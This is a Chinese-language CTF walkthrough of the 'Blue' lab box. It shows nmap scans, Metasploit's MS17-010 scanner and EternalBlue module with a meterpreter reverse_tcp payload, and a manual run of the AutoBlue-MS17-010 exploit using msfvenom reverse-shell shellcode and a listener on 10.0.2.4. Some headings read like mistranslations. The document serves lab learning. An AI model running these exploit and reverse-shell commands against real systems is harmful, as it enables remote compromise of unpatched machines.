蓝色演练

将这些框视为 CTF(实际上不是笔测试)。

侦察

我们的第一次 nmap 扫描为我们提供了一些端口和一些操作系统版本控制:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
nmap -Pn $t 
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-04 13:59 EDT
Nmap scan report for 10.0.2.6
Host is up (0.00077s latency).
Not shown: 991 closed tcp ports (conn-refused)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49156/tcp open unknown
49158/tcp open unknown
# ---
sudo nmap -A -p 139, 445 $t
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-04 14:16 EDT
Nmap scan report for 10.0.2.6
Host is up (0.00038s latency).
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Windows 7 Ultimate 7601 Service Pack 1 netbios-ssn
...

我们从中得到的有用的服务版本是 Windows 7 Ultimate 7601 Service Pack 1

searchsploit

使用searchsploit,我们没有找到有关此服务版本的任何信息:

1
2
3
searchsploit 'Microsoft 7 Ultimate'
Exploits: No Results
Shellcodes: No Results

谷歌

在线搜索 microsoft 7 ultimate exploits,我们发现很多提及 EternalBlueMS17-010。 EternalBlue 是一种利用 SMB 在目标上远程执行代码的漏洞。

我们还找到了 Exploit DB 条目 for EternalBlue

Metasploit

现在我们已经找到了一个可能在这台机器上运行的漏洞,让我们看看 Metasploit 可以帮助我们做什么。

辅助模块

msfconsole 中,我们搜索 EternalBlue:

1
2
3
4
5
6
7
8
9
10
11
12
msf6 > search eternalblue
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----
0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
2 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
3 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-010 SMB RCE Detection
4 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 great Yes SMB DOUBLEPULSAR Remote Code Execution

Interact with a module by name or index. For example info 4, use 4 or use exploit/windows/smb/smb_doublepulsar_rce

首先,我们要使用侵入性较小的模块,这是辅助性的。在这种情况下,我们可以使用 SMB 扫描器 auxiliary/scanner/smb/smb_ms17_010。要选择此选项,请输入 use 3 ,它将设置控制台的模块上下文。

该模块应该通过扫描告诉我们目标是否容易受到永恒之蓝的攻击。要查看我们需要设置哪些变量,请输入 options 和/或 info


使用 set rhosts <target IP>RHOSTS 设置为我们的目标。现在我们可以输入 run 来扫描目标:

1
2
3
4
5
msf6 auxiliary(scanner/smb/smb_ms17_010) > run

[+] 10.0.2.6:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit)
[*] 10.0.2.6:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

漏洞利用模块

现在我们已经确认这个盒子容易受到攻击,让我们使用metasploit来利用它。在msfconsole中,再次搜索“eternalblue”。这次,选择 Windows 漏洞 exploit/windows/smb/smb_ms17_010

提示: 我们已经验证目标是否存在漏洞,但此漏洞利用模块也可以进行检查。如果我们使用 options 我们可以看到 VERIFY_ARCHVERIFY_TARGET 设置为 true。要使用该模块进行检查,只需键入命令check

有效负载

当我们加载模块时,我们收到警告 [*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp。为了确保我们有正确的有效负载,我们只需要使用 set payload

翻译者

使用 set payload windows 和制表符完成,我们可以获得所有可能的有效负载的列表。让我们尝试使用 meterpreter 负载,它是 Metasploit 的内置 shell:

1
2
set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp

漏洞利用

确保所有选项都按照我们想要的方式设置后,输入 run 并让 metasploit 完成所有工作。当我们看到 meterpreter 提示符出现时,我们知道 shell 已经成功:

1
2
3
4
5
6
7
8
9
10
11
[+] 10.0.2.6:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.0.2.6:445 - Sending egg to corrupted connection.
[*] 10.0.2.6:445 - Triggering free of corrupted buffer.
[*] Sending stage (200774 bytes) to 10.0.2.6
[*] Meterpreter session 1 opened (10.0.2.4:4444 -> 10.0.2.6:49159) at 2023-10-07 15:56:30 -0400
[+] 10.0.2.6:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.0.2.6:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.0.2.6:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter > whoami
[-] Unknown command: whoami

手动利用

除了使用 Metasploit,我们还可以自己找到使用 EternalBlue 的方法:

搜索漏洞



让我们再次回顾一下 searchsploit/exploit db 流程。使用 searchsploit 我们可以看到我们有三个漏洞利用代码选项:所有三个都使用 [python](/coding/ languages/python/python.md),所有三个都适用于 Windows,但只有 2 个可以利用 Windows 7(我们的目标)。

我们可以在我们的机器上的路径 /usr/share/exploitdb/exploits/windows/remote/42031.pyExploit DB 上检查代码。不幸的是,这个脚本以及替代脚本(ID 42315)在没有一些重大调试的情况下无法立即运行。所以让我们在google上找到一个可靠的版本。

GitHub

在 google 上搜索 eternalblue exploit code,我们发现了一些 github 存储库。我们希望确保这些存储库上的代码不仅对用户(我们)来说是可靠的而且不是恶意的

无需阅读每一行,我们可以通过查看与它的社区交互来检查漏洞利用脚本的可信度。例如,来自 3ndG4me 的这个脚本 有 990 次启动,有 30 个帐户观看,并且在过去 2 年中进行了更新。

此外,它还提供了有关如何设置的易于遵循的演练。

3ndG4me AutoBlue-MS17-010

由于这是一个 python 脚本,因此我们可以通过使用 python venv 来完成演练并避免使我们的机器与安装等混乱。要安装 python venv,只需尝试使用它,如果您没有,python 会告诉您要安装哪个包。

Python Venv

Python venv 本质上是一个小型虚拟机,您可以在其中在 python 上完成所有开发工作。它为所需的依赖项等创建了一个虚拟环境。完成后您可以销毁它,从而避免在计算机上安装不需要的 BS。

安装 venv 后,您可以在工作目录中设置它,如下所示:

1
2
3
4
5
6
7
8
9
┌──(hakcypuppy㉿kali)-[~/blue]
└─$ python3 -m venv venv
┌──(hakcypuppy㉿kali)-[~/blue]
└─$ ls
blue.findings.txt blue.msfconsole.smb.versioning.txt blue.txt eb.py enum4linux.blue.txt mysmb.py __pycache__ venv
┌──(hakcypuppy㉿kali)-[~/blue]
└─$ source venv/bin/activate
┌──(venv)(hakcypuppy㉿kali)-[~/blue] # <---- now you're in the virtual env.
└─$

现在我们可以演练此漏洞利用代码。

克隆存储库

1
2
3
4
5
6
7
8
9
┌──(venv)(hakcypuppy㉿kali)-[~/blue]
└─$ git clone https://github.com/3ndG4me/AutoBlue-MS17-010.git
Cloning into 'AutoBlue-MS17-010'...
remote: Enumerating objects: 136, done.
remote: Counting objects: 100% (60/60), done.
remote: Compressing objects: 100% (24/24), done.
remote: Total 136 (delta 46), reused 36 (delta 36), pack-reused 76
Receiving objects: 100% (136/136), 101.12 KiB | 967.00 KiB/s, done.
Resolving deltas: 100% (80/80), done.

安装依赖项

cd 进入克隆的存储库并运行以下命令(这就是我们创建 venv 的原因):

1
2
3
4
5
6
pip install -r requirements.txt
Collecting impacket (from -r requirements.txt (line 1))
Downloading impacket-0.11.0.tar.gz (1.5 MB)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 1.5/1.5 MB 8.9 MB/s eta 0:00:00
Installing build dependencies ... done
Getting requirements to build wheel ...

外壳代码

cd 进入 /shellcode 并运行 ./shell_prep.sh

1
2
3
4
5
6
7
8
9
./shell_prep.sh                                                                       
_.-;;-._
'-..-'| || |
'-..-'|_.-;;-._|
'-..-'| || |
'-..-'|_.-''-._|
Eternal Blue Windows Shellcode Compiler
Let's compile them windoos shellcodezzz
Compiling x64 kernel shellcode

它会给你很多选择,我们将执行以下操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
Eternal Blue Windows Shellcode Compiler

Let's compile them windoos shellcodezzz
Compiling x64 kernel shellcode
Compiling x86 kernel shellcode
kernel shellcode compiled, would you like to auto generate a reverse shell with msfvenom? (Y/n)
y
LHOST for reverse connection:
10.0.2.4
LPORT you want x64 to listen on:
44444
LPORT you want x86 to listen on:
44445
Type 0 to generate a meterpreter shell or 1 to generate a regular cmd shell
1
Type 0 to generate a staged payload or 1 to generate a stageless payload
0
Generating x64 cmd shell (staged)...

msfvenom -p windows/x64/shell/reverse_tcp -f raw -o sc_x64_msf.bin EXITFUNC=thread LHOST=10.0.2.4 LPORT=44444
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 511 bytes
Saved as: sc_x64_msf.bin

Generating x86 cmd shell (staged)...
msfvenom -p windows/shell/reverse_tcp -f raw -o sc_x86_msf.bin EXITFUNC=thread LHOST=10.0.2.4 LPORT=44445
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 375 bytes
Saved as: sc_x86_msf.bin

MERGING SHELLCODE WOOOO!!!
DONE

听众

现在 shellcode 已经准备好了,让我们设置监听器。 cd .. 回到此存储库的根目录中。使用以下输入运行 ./listener_prep.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(venv)(hakcypuppy㉿kali)-[~/blue/AutoBlue-MS17-010]
└─$ ./listener_prep.sh
__
/,-
||)
\\_, )
`--'
Enternal Blue Metasploit Listener

LHOST for reverse connection:
10.0.2.4
LPORT for x64 reverse connection:
44444
LPORT for x86 reverse connection:
44445
Enter 0 for meterpreter shell or 1 for regular cmd shell:
1
Type 0 if this is a staged payload or 1 if it is for a stageless payload
0
Starting listener (staged)...
Starting postgresql (via systemctl): postgresql.service.

漏洞利用

设置完成后,您会看到 msfconsole,打开另一个终端,进入 repo 目录并运行 python eternalblue_exploit7.py <target IP> shellcode/sc_all.bin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
eternalblue_exploit7.py 10.0.2.6 shellcode/sc_all.bin        
shellcode size: 2307
numGroomConn: 13
Target OS: Windows 7 Ultimate 7601 Service Pack 1
SMB1 session setup allocate nonpaged pool success
SMB1 session setup allocate nonpaged pool success
good response status: INVALID_PARAMETER
Traceback (most recent call last):
File "/usr/lib/python3/dist-packages/impacket/nmb.py", line 984, in non_polling_read
received = self._sock.recv(bytes_left)
^^^^^^^^^^^^^^^^^^^^^^^^^^^
TimeoutError: timed out

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
File "/home/hakcypuppy/blue/AutoBlue-MS17-010/eternalblue_exploit7.py", line 563, in <module>
exploit(TARGET, s...

可能发生的情况是这会让你的目标机器崩溃


此漏洞利用是不稳定的,因为它是一个缓冲区溢出,并且通常会导致目标崩溃。 不要将其用于关键基础设施,例如医院的目标等。

[!资源]